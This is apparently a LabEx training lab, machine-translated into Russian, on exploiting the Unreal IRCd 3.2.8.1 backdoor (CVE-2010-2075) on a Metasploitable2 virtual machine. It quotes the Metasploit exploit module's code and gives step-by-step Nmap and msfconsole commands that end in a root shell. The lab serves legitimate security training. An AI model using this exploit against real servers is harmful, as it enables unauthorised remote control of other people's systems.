Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit

NmapNmapBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии мы научимся эксплуатировать уязвимость в службе Unreal IRCd на целевой машине Metasploitable2, размещенной на платформе LabEx. Сначала мы изучим уязвимость в службе Unreal IRCd, а затем выполним сканирование на наличие уязвимостей с помощью Nmap. После определения уязвимой службы мы воспользуемся фреймворком Metasploit для эксплойта уязвимости и получения удаленного доступа (шелла) на целевой машине. Наконец, мы проверим успешность эксплойта, выполнив команды на скомпрометированной системе.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") wireshark/WiresharkGroup -.-> wireshark/interface("Interface Overview") wireshark/WiresharkGroup -.-> wireshark/packet_capture("Packet Capture") wireshark/WiresharkGroup -.-> wireshark/packet_analysis("Packet Analysis") subgraph Lab Skills nmap/installation -.-> lab-416126{{"Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit"}} nmap/port_scanning -.-> lab-416126{{"Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit"}} nmap/host_discovery -.-> lab-416126{{"Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit"}} nmap/target_specification -.-> lab-416126{{"Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit"}} nmap/service_detection -.-> lab-416126{{"Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit"}} wireshark/interface -.-> lab-416126{{"Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit"}} wireshark/packet_capture -.-> lab-416126{{"Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit"}} wireshark/packet_analysis -.-> lab-416126{{"Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit"}} end

Понимание уязвимости Unreal IRCd и запуск экспериментальной среды

Версия Unreal IRCd 3.2.8.1 содержит уязвимость в виде бэкдора (CVE-2010-2075), которая позволяет удаленным злоумышленникам выполнять произвольный код на зараженной системе. Уязвимость находится в макросе DEBUG3_DOLOG_SYSTEM, который включает в себя внешний вредоносный код, который может быть использован злоумышленником.

Рекомендуемая информация:

Модуль Metasploit для эксплойта этой уязвимости:

Вот краткое описание модуля Metasploit:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      #... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Теперь вы должны запустить машину-атакующую (контейнер Kali Linux) и целевую машину (виртуальную машину Metasploitable2) для эксперимента.

  1. Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.

  1. Проверьте связь с целевой машиной, отправив ей пинги:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить пингование.

  1. Запустите контейнер Kali Linux и войдите в среду bash, выполнив следующую команду:
docker run -ti --network host b5b709a49cd5 bash
  1. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить пингование.

Теперь и машина-атакующая, и целевая машина запущены, и вы можете приступить к пентестингу.

Примечание: Если вы случайно выйдете из текущей оболочки bash, контейнер Kali автоматически остановится. Вы можете снова выполнить команду docker run -ti --network host b5b709a49cd5 bash на хост-машине, чтобы запустить новый контейнер Kali и войти в bash для продолжения эксперимента.

Выполнение сканирования на уязвимости

На этом этапе мы выполним сканирование целевой машины на наличие уязвимостей, чтобы определить открытые порты и службы, работающие на этих портах. Для этого мы воспользуемся мощным инструментом Nmap (Network Mapper).

  1. Запустите консоль Metasploit в контейнере Kali Linux:
cd ~
msfconsole
  1. Внутри консоли Metasploit используйте команду nmap для сканирования целевой машины:
nmap -sV -T4 192.168.122.102

Опция -sV включает определение версии для открытых портов, а -T4 устанавливает агрессивный уровень политики времени (от 1 до 5, чем выше, тем быстрее).

В выводе должно быть указано, что порт 6667 открыт и на нем работает служба unreal ircd.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Эксплуатация уязвимости Unreal IRCd

Теперь, когда мы определили уязвимую службу Unreal IRCd, работающую на порту 6667, мы можем приступить к ее эксплоитации с использованием фреймворка Metasploit.

  1. Во - первых, если вы не находитесь в консоли Metasploit, вам нужно запустить ее:
cd ~
msfconsole
  1. В консоли Metasploit выполните поиск модуля unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
  1. Загрузите модуль:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Установите целевой хост:
set RHOST 192.168.122.102
  1. Запустите эксплойт:
exploit

Если эксплойт прошел успешно, вы должны получить удаленный доступ (шелл) на целевой машине.

Нажмите Ctrl + D, чтобы выйти из консоли Metasploit, а затем начните проверку

Проверка успешности эксплойта

Для проверки успешности эксплойта мы можем выполнить команды в удаленном шелле, полученном на предыдущем этапе.

  1. Во - первых, если вы не находитесь в консоли Metasploit, вам нужно запустить ее:
cd ~
msfconsole
  1. Проверьте текущего пользователя с помощью команды whoami:
whoami
  1. Проверьте имя хоста с помощью команды hostname:
hostname
  1. Проверьте IP - адрес с помощью команды ifconfig:
ifconfig

Если в выводе текущий пользователь указан как root, имя хоста - metasploitable, и IP - адрес совпадает с адресом целевой машины (192.168.122.102), это подтверждает, что эксплойт прошел успешно, и вы получили полный контроль над целевой системой.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Итоги

В этом практическом занятии мы изучили уязвимость Unreal IRCd и научились эксплуатировать ее с использованием фреймворка Metasploit. Сначала мы поняли суть уязвимости и ее последствия, затем провели сканирование на уязвимости, чтобы определить уязвимую службу. После того, как мы обнаружили службу Unreal IRCd, работающую на порту 6667, мы использовали соответствующий модуль Metasploit для эксплоитации уязвимости и получения удаленного доступа к целевой машине. Наконец, мы подтвердили успешность эксплойта, выполнив команды на скомпрометированной системе. Это практическое занятие дало возможность приобрести практический опыт в анализе уязвимостей, их эксплоитации и валидации после эксплоитации, что является важными навыками для этических хакеров и профессионалов в области кибербезопасности.